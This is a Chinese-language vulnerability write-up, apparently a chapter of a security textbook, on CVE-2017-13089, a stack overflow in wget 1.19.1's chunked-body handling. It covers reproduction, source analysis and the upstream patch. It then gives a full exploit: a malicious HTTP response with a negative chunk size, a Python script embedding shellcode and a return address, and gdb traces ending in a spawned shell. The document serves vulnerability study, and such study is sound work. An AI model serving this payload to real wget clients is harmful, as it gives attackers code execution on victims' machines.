7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞

下载文件

漏洞描述

wget 是一个从网络上自动下载文件的工具,支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。

在处理例如重定向的情况时,wget 会调用到 skip_short_body() 函数,函数中会对分块编码的数据调用 strtol() 函数读取每个块的长度,但在版本 1.19.2 之前,没有对这个长度进行必要的检查,例如其是否为负数。然后 wget 通过使用 MIN() 宏跳过块的 512 个字节,将负数传递给了函数 fd_read()。由于 fd_read() 接收的参数类型为 int,所以块长度的高 32 位会被丢弃,使得攻击者可以控制传递给 fd_read() 的参数。

漏洞复现

推荐使用的环境 备注
操作系统 Ubuntu 16.04 体系结构:64 位
调试器 gdb-peda 版本号:7.11.1
漏洞软件 wget 版本号:1.19.1

首先编译安装 wget-1.19.1:

  1. $ sudo apt-get install libneon27-gnutls-dev
  2. $ wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
  3. $ tar zxvf wget-1.19.1.tar.gz
  4. $ cd wget-1.19.1
  5. $ ./configure
  6. $ make && sudo make install
  7. $ wget -V | head -n1
  8. GNU Wget 1.19.1 built on linux-gnu.

引发崩溃的 payload 如下:

  1. HTTP/1.1 401 Not Authorized
  2. Content-Type: text/plain; charset=UTF-8
  3. Transfer-Encoding: chunked
  4. Connection: keep-alive
  5. -0xFFFFFD00
  6. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  7. 0

stack smashing 现场:

  1. $ nc -lp 6666 < payload & wget --debug localhost:6666
  2. [1] 4291
  3. DEBUG output created by Wget 1.19.1 on linux-gnu.
  4. Reading HSTS entries from /home/firmy/.wget-hsts
  5. Converted file name 'index.html' (UTF-8) -> 'index.html' (UTF-8)
  6. --2018-01-30 11:42:32-- http://localhost:6666/
  7. Resolving localhost... 127.0.0.1
  8. Caching localhost => 127.0.0.1
  9. Connecting to localhost|127.0.0.1|:6666... connected.
  10. Created socket 4.
  11. Releasing 0x00000000012f51b0 (new refcount 1).
  12. ---request begin---
  13. GET / HTTP/1.1
  14. User-Agent: Wget/1.19.1 (linux-gnu)
  15. Accept: */*
  16. Accept-Encoding: identity
  17. Host: localhost:6666
  18. Connection: Keep-Alive
  19. ---request end---
  20. GET / HTTP/1.1
  21. User-Agent: Wget/1.19.1 (linux-gnu)
  22. Accept: */*
  23. Accept-Encoding: identity
  24. Host: localhost:6666
  25. Connection: Keep-Alive
  26. HTTP request sent, awaiting response...
  27. ---response begin---
  28. HTTP/1.1 401 Not Authorized
  29. Content-Type: text/plain; charset=UTF-8
  30. Transfer-Encoding: chunked
  31. Connection: keep-alive
  32. ---response end---
  33. 401 Not Authorized
  34. Registered socket 4 for persistent reuse.
  35. Skipping -4294966528 bytes of body: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASkipping -4294967296 bytes of body: [] aborting (EOF received).
  36. *** stack smashing detected ***: wget terminated
  37. [1]+ Done nc -lp 6666 < payload
  38. Aborted (core dumped)

漏洞分析

关键函数 skip_short_body()

  1. // src/http.c
  2. static bool
  3. skip_short_body (int fd, wgint contlen, bool chunked)
  4. {
  5. enum {
  6. SKIP_SIZE = 512, /* size of the download buffer */
  7. SKIP_THRESHOLD = 4096 /* the largest size we read */
  8. };
  9. wgint remaining_chunk_size = 0;
  10. char dlbuf[SKIP_SIZE + 1];
  11. dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */
  12. /* If the body is too large, it makes more sense to simply close the
  13. connection than to try to read the body. */
  14. if (contlen > SKIP_THRESHOLD)
  15. return false;
  16. while (contlen > 0 || chunked)
  17. {
  18. int ret;
  19. if (chunked)
  20. {
  21. if (remaining_chunk_size == 0)
  22. {
  23. char *line = fd_read_line (fd);
  24. char *endl;
  25. if (line == NULL)
  26. break;
  27. remaining_chunk_size = strtol (line, &endl, 16); // 未检查remaining_chunk_size是否为负
  28. xfree (line);
  29. if (remaining_chunk_size == 0)
  30. {
  31. line = fd_read_line (fd);
  32. xfree (line);
  33. break;
  34. }
  35. }
  36. contlen = MIN (remaining_chunk_size, SKIP_SIZE); // contlen 为可控变量
  37. }
  38. DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
  39. ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1); // 引发溢出
  40. if (ret <= 0)
  41. {
  42. /* Don't normally report the error since this is an
  43. optimization that should be invisible to the user. */
  44. DEBUGP (("] aborting (%s).\n",
  45. ret < 0 ? fd_errstr (fd) : "EOF received"));
  46. return false;
  47. }
  48. contlen -= ret;
  49. if (chunked)
  50. {
  51. remaining_chunk_size -= ret;
  52. if (remaining_chunk_size == 0)
  53. {
  54. char *line = fd_read_line (fd);
  55. if (line == NULL)
  56. return false;
  57. else
  58. xfree (line);
  59. }
  60. }
  61. /* Safe even if %.*s bogusly expects terminating \0 because
  62. we've zero-terminated dlbuf above. */
  63. DEBUGP (("%.*s", ret, dlbuf));
  64. }
  65. DEBUGP (("] done.\n"));
  66. return true;
  67. }

一般是这样调用的:

  1. if (keep_alive && !head_only
  2. && skip_short_body (sock, contlen, chunked_transfer_encoding))
  3. CLOSE_FINISH (sock);

所以要想进入到漏洞代码,只需要 contlen 的长度不大于 4096 且使用了分块编码 chunked_transfer_encoding。对于参数 chunked_transfer_encoding 的设置在函数 gethttp() 中:

  1. // src/http.c
  2. chunked_transfer_encoding = false;
  3. if (resp_header_copy (resp, "Transfer-Encoding", hdrval, sizeof (hdrval))
  4. && 0 == c_strcasecmp (hdrval, "chunked"))
  5. chunked_transfer_encoding = true;

contlen 的赋值为 contlen = MIN (remaining_chunk_size, SKIP_SIZE);MIN() 宏函数定义如下,用于获得两个值中小的那一个:

  1. // src/wget.h
  2. # define MIN(i, j) ((i) <= (j) ? (i) : (j))

remaining_chunk_size 为负值时,同样满足小于 SKIP_SIZE,所以 contlen 实际上是可控的。

随后进入 fd_read() 函数,从 fd 读取 bufsize 个字节到 buf 中,于是引起缓冲区溢出:

  1. //src/connect.c
  2. /* Read no more than BUFSIZE bytes of data from FD, storing them to
  3. BUF. If TIMEOUT is non-zero, the operation aborts if no data is
  4. received after that many seconds. If TIMEOUT is -1, the value of
  5. opt.timeout is used for TIMEOUT. */
  6. int
  7. fd_read (int fd, char *buf, int bufsize, double timeout)
  8. {
  9. struct transport_info *info;
  10. LAZY_RETRIEVE_INFO (info);
  11. if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
  12. return -1;
  13. if (info && info->imp->reader)
  14. return info->imp->reader (fd, buf, bufsize, info->ctx);
  15. else
  16. return sock_read (fd, buf, bufsize);
  17. }

补丁

  1. $ git show d892291fb8ace4c3b734ea5125770989c215df3f | cat
  2. commit d892291fb8ace4c3b734ea5125770989c215df3f
  3. Author: Tim Rühsen <tim.ruehsen@gmx.de>
  4. Date: Fri Oct 20 10:59:38 2017 +0200
  5. Fix stack overflow in HTTP protocol handling (CVE-2017-13089)
  6. * src/http.c (skip_short_body): Return error on negative chunk size
  7. Reported-by: Antti Levomäki, Christian Jalio, Joonas Pihlaja from Forcepoint
  8. Reported-by: Juhani Eronen from Finnish National Cyber Security Centre
  9. diff --git a/src/http.c b/src/http.c
  10. index 5536768..dc31823 100644
  11. --- a/src/http.c
  12. +++ b/src/http.c
  13. @@ -973,6 +973,9 @@ skip_short_body (int fd, wgint contlen, bool chunked)
  14. remaining_chunk_size = strtol (line, &endl, 16);
  15. xfree (line);
  16. + if (remaining_chunk_size < 0)
  17. + return false;
  18. +
  19. if (remaining_chunk_size == 0)
  20. {
  21. line = fd_read_line (fd);

补丁也很简单,就是对 remaining_chunk_size 是否为负值进行了判断。

Exploit

在这里我们做一点有趣的事情。先修改一下配置文件 configure.ac,把堆栈保护技术都关掉,也就是加上下面所示的这几行:

  1. $ cat configure.ac | grep -A4 stack
  2. dnl Disable stack canaries
  3. CFLAGS="-fno-stack-protector $CFLAGS"
  4. dnl Disable No-eXecute
  5. CFLAGS="-z execstack $CFLAGS"
  6. dnl
  7. dnl Create output
  8. dnl

然后编译安装,结果如下:

  1. $ sudo apt-get install automake
  2. $ make && sudo make install
  3. $ pwn checksec /usr/local/bin/wget
  4. [*] '/usr/local/bin/wget'
  5. Arch: amd64-64-little
  6. RELRO: Partial RELRO
  7. Stack: No canary found
  8. NX: NX disabled
  9. PIE: No PIE (0x400000)
  10. RWX: Has RWX segments

好了,接下来可以搞事情了。为了方便确认栈溢出的地址,把前面 payload 的 body 部分用 pattern 替代掉:

  1. $ cat payload
  2. HTTP/1.1 401 Not Authorized
  3. Content-Type: text/plain; charset=UTF-8
  4. Transfer-Encoding: chunked
  5. Connection: keep-alive
  6. -0xFFFFFD00
  7. AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs
  8. 0
  9. $ nc -lp 6666 < payload

在另一个 shell 里启动 gdb 调试 wget:

  1. gdb-peda$ r localhost:6666
  2. gdb-peda$ pattern_offset $ebp
  3. 1933668723 found at offset: 560
  4. gdb-peda$ searchmem AAA%AAsA
  5. Searching for 'AAA%AAsA' in: None ranges
  6. Found 2 results, display max 2 items:
  7. [heap] : 0x6aad83 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
  8. [stack] : 0x7fffffffcf40 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)

所以 rsp 的地址位于栈偏移 568 的地方。而栈地址位于 0x7fffffffcf40

构造 exp 来生成 paylaod:

  1. payload = """HTTP/1.1 401 Not Authorized
  2. Content-Type: text/plain; charset=UTF-8
  3. Transfer-Encoding: chunked
  4. Connection: keep-alive
  5. -0xFFFFFD00
  6. """
  7. shellcode = "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
  8. shellcode += "\xef\xff\xff\xff\x48\xbb\xc5\xb5\xcb\x60\x1e\xba\xb2"
  9. shellcode += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
  10. shellcode += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76"
  11. shellcode += "\xba\xe1\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53"
  12. shellcode += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda"
  13. shellcode += "\x1b\x93\xe2\x83\xe9\xf8\xb5\xb7\x1b"
  14. payload += shellcode + (568-len(shellcode)) * "A"
  15. payload += "\x40\xcf\xff\xff\xff\x7f\x00\x00"
  16. payload += "\n0\n"
  17. with open('ppp','wb') as f:
  18. f.write(payload)
  1. $ python exp.py
  2. $ nc -lp 6666 < ppp

继续使用 gdb 来跟踪。经过 strtol() 函数返回的 remaining_chunk_size0xffffffff00000300

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. RAX: 0xffffffff00000300
  4. RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
  5. RCX: 0xffffffda
  6. RDX: 0x1
  7. RSI: 0xfffffd00
  8. RDI: 0x6aafab --> 0xfae98148c931000a
  9. RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 --> 0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>: push r15)
  10. RSP: 0x7fffffffcf20 --> 0xffffffffffffffff
  11. RIP: 0x41ef0f (<skip_short_body+150>: mov QWORD PTR [rbp-0x8],rax)
  12. R8 : 0x0
  13. R9 : 0xfffffffffffffff
  14. R10: 0x0
  15. R11: 0x7ffff74045e0 --> 0x2000200020002
  16. R12: 0x404ca0 (<_start>: xor ebp,ebp)
  17. R13: 0x7fffffffdcb0 --> 0x2
  18. R14: 0x0
  19. R15: 0x0
  20. EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
  21. [-------------------------------------code-------------------------------------]
  22. 0x41ef04 <skip_short_body+139>: mov rsi,rcx
  23. 0x41ef07 <skip_short_body+142>: mov rdi,rax
  24. 0x41ef0a <skip_short_body+145>: call 0x404660 <strtol@plt>
  25. => 0x41ef0f <skip_short_body+150>: mov QWORD PTR [rbp-0x8],rax
  26. 0x41ef13 <skip_short_body+154>: mov rax,QWORD PTR [rbp-0x10]
  27. 0x41ef17 <skip_short_body+158>: mov rdi,rax
  28. 0x41ef1a <skip_short_body+161>: call 0x404380 <free@plt>
  29. 0x41ef1f <skip_short_body+166>: mov QWORD PTR [rbp-0x10],0x0
  30. [------------------------------------stack-------------------------------------]
  31. 0000| 0x7fffffffcf20 --> 0xffffffffffffffff
  32. 0008| 0x7fffffffcf28 --> 0x4ffffcf01
  33. 0016| 0x7fffffffcf30 --> 0x13
  34. 0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98148c931000a
  35. 0032| 0x7fffffffcf40 --> 0xffffffff00000028
  36. 0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887
  37. 0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n")
  38. 0056| 0x7fffffffcf58 --> 0x13
  39. [------------------------------------------------------------------------------]
  40. Legend: code, data, rodata, value
  41. 0x000000000041ef0f in skip_short_body ()

继续调试,到达函数 fd_read(),可以看到由于强制类型转换的原因其参数只取出了 0xffffffff00000300 的低 4 个字节 0x300,所以该函数将读入 0x300 个字节的数据到栈地址 0x7fffffffcf40 中:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. RAX: 0x4
  4. RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
  5. RCX: 0x7fffffffcf40 --> 0xffffffff00000028
  6. RDX: 0x300
  7. RSI: 0x7fffffffcf40 --> 0xffffffff00000028
  8. RDI: 0x4
  9. RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 --> 0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>: push r15)
  10. RSP: 0x7fffffffcf20 --> 0xffffffff00000300
  11. RIP: 0x41efd6 (<skip_short_body+349>: call 0x4062c5 <fd_read>)
  12. R8 : 0x0
  13. R9 : 0x1
  14. R10: 0x0
  15. R11: 0x7ffff74045e0 --> 0x2000200020002
  16. R12: 0x404ca0 (<_start>: xor ebp,ebp)
  17. R13: 0x7fffffffdcb0 --> 0x2
  18. R14: 0x0
  19. R15: 0x0
  20. EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
  21. [-------------------------------------code-------------------------------------]
  22. 0x41efc9 <skip_short_body+336>: movsd xmm0,QWORD PTR [rip+0x4aa6f] # 0x469a40
  23. 0x41efd1 <skip_short_body+344>: mov rsi,rcx
  24. 0x41efd4 <skip_short_body+347>: mov edi,eax
  25. => 0x41efd6 <skip_short_body+349>: call 0x4062c5 <fd_read>
  26. 0x41efdb <skip_short_body+354>: mov DWORD PTR [rbp-0x14],eax
  27. 0x41efde <skip_short_body+357>: cmp DWORD PTR [rbp-0x14],0x0
  28. 0x41efe2 <skip_short_body+361>: jg 0x41f029 <skip_short_body+432>
  29. 0x41efe4 <skip_short_body+363>: movzx eax,BYTE PTR [rip+0x269bf0] # 0x688bdb <opt+571>
  30. Guessed arguments:
  31. arg[0]: 0x4
  32. arg[1]: 0x7fffffffcf40 --> 0xffffffff00000028
  33. arg[2]: 0x300
  34. arg[3]: 0x7fffffffcf40 --> 0xffffffff00000028
  35. [------------------------------------stack-------------------------------------]
  36. 0000| 0x7fffffffcf20 --> 0xffffffff00000300
  37. 0008| 0x7fffffffcf28 --> 0x4ffffcf01
  38. 0016| 0x7fffffffcf30 --> 0x13
  39. 0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98100007ffff7
  40. 0032| 0x7fffffffcf40 --> 0xffffffff00000028
  41. 0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887
  42. 0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n")
  43. 0056| 0x7fffffffcf58 --> 0x13
  44. [------------------------------------------------------------------------------]
  45. Legend: code, data, rodata, value
  46. 0x000000000041efd6 in skip_short_body ()

成功跳转到 shellcode,获得 shell:

  1. gdb-peda$ n
  2. [----------------------------------registers-----------------------------------]
  3. RAX: 0x0
  4. RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
  5. RCX: 0x7ffff7384260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
  6. RDX: 0x200
  7. RSI: 0x7fffffffcf40 --> 0xfffae98148c93148
  8. RDI: 0x4
  9. RBP: 0x4141414141414141 ('AAAAAAAA')
  10. RSP: 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148
  11. RIP: 0x41f0ed (<skip_short_body+628>: ret)
  12. R8 : 0x7fffffffcdb0 --> 0x383
  13. R9 : 0x1
  14. R10: 0x0
  15. R11: 0x246
  16. R12: 0x404ca0 (<_start>: xor ebp,ebp)
  17. R13: 0x7fffffffdcb0 --> 0x2
  18. R14: 0x0
  19. R15: 0x0
  20. EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
  21. [-------------------------------------code-------------------------------------]
  22. 0x41f0e2 <skip_short_body+617>: call 0x42a0f5 <debug_logprintf>
  23. 0x41f0e7 <skip_short_body+622>: mov eax,0x1
  24. 0x41f0ec <skip_short_body+627>: leave
  25. => 0x41f0ed <skip_short_body+628>: ret
  26. 0x41f0ee <modify_param_name>: push rbp
  27. 0x41f0ef <modify_param_name+1>: mov rbp,rsp
  28. 0x41f0f2 <modify_param_name+4>: sub rsp,0x30
  29. 0x41f0f6 <modify_param_name+8>: mov QWORD PTR [rbp-0x28],rdi
  30. [------------------------------------stack-------------------------------------]
  31. 0000| 0x7fffffffd178 --> 0x7fffffffcf40 --> 0xfffae98148c93148
  32. 0008| 0x7fffffffd180 --> 0xa300a ('\n0\n')
  33. 0016| 0x7fffffffd188 --> 0x0
  34. 0024| 0x7fffffffd190 --> 0x7fffffffdad4 --> 0x0
  35. 0032| 0x7fffffffd198 --> 0x7fffffffd780 --> 0x0
  36. 0040| 0x7fffffffd1a0 --> 0x6a9a00 --> 0x68acb0 ("http://localhost:6666/")
  37. 0048| 0x7fffffffd1a8 --> 0x6a9a00 --> 0x68acb0 ("http://localhost:6666/")
  38. 0056| 0x7fffffffd1b0 --> 0x0
  39. [------------------------------------------------------------------------------]
  40. Legend: code, data, rodata, value
  41. 0x000000000041f0ed in skip_short_body ()
  42. gdb-peda$ x/20gx 0x7fffffffcf40
  43. 0x7fffffffcf40: 0xfffae98148c93148 0xffffef058d48ffff <-- shellcode
  44. 0x7fffffffcf50: 0x1e60cbb5c5bb48ff 0x48275831481bb2ba
  45. 0x7fffffffcf60: 0xaff4e2fffffff82d 0xac799d0156f9938e
  46. 0x7fffffffcf70: 0x4c53e1ba7613e4db 0x4c53b2ba7d4da352
  47. 0x7fffffffcf80: 0xea1bb2ba16889953 0x931bdac9310ea2d7
  48. 0x7fffffffcf90: 0x411bb7b5f8e983e2 0x4141414141414141
  49. 0x7fffffffcfa0: 0x4141414141414141 0x4141414141414141
  50. 0x7fffffffcfb0: 0x4141414141414141 0x4141414141414141
  51. 0x7fffffffcfc0: 0x4141414141414141 0x4141414141414141
  52. 0x7fffffffcfd0: 0x4141414141414141 0x4141414141414141

Bingo!!!

  1. Starting program: /usr/local/bin/wget localhost:6666
  2. [Thread debugging using libthread_db enabled]
  3. Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
  4. --2018-01-30 15:40:49-- http://localhost:6666/
  5. Resolving localhost... 127.0.0.1
  6. Connecting to localhost|127.0.0.1|:6666... connected.
  7. HTTP request sent, awaiting response... 401 Not Authorized
  8. process 20613 is executing new program: /bin/dash
  9. [New process 20617]
  10. process 20617 is executing new program: /bin/dash
  11. $ whoami
  12. [New process 20618]
  13. process 20618 is executing new program: /usr/bin/whoami
  14. firmy
  15. $ [Inferior 3 (process 20618) exited normally]
  16. Warning: not running or target is remote

参考资料